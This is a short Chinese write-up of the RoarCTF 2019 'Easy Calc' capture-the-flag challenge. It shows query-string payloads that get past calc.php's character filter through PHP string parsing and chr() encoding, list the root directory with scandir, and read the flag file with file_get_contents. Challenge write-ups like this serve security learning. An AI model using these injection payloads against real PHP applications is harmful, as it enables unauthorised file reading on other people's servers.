一、 [RoarCTF 2019]Easy Calc
1、检查源码
1、当拿到题目时,本人以为是使用Linux命令获取flag,但是尝试之后不行
2、检查源码,发现了calc.php,打开
3、打开calc.php,发现题目过滤了好多东西
2、利用PHP的字符串解析绕过
1、扫描目录下文件
scandir() 函数返回指定目录中的文件和目录的数组。
? num=print_r(scandir('/'))
# 这里由于斜杠被过滤,所以使用chr()绕过
? num=print_r(scandir(chr(47)))
2、读取flag
file_get_contents() 函数把整个文件读入一个字符串中。
? num=print_r(file_get_contents('/f1agg'))
由于有些东西被过滤,所以使用字符串来绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
flag{6578237a-51cc-49b9-86aa-1345497dcef1}
文章借鉴:https://blog.csdn.net/weixin_45674567/article/details/106498395,如有冒犯或错误,请及时告知,Thanks♪(・ω・)ノ!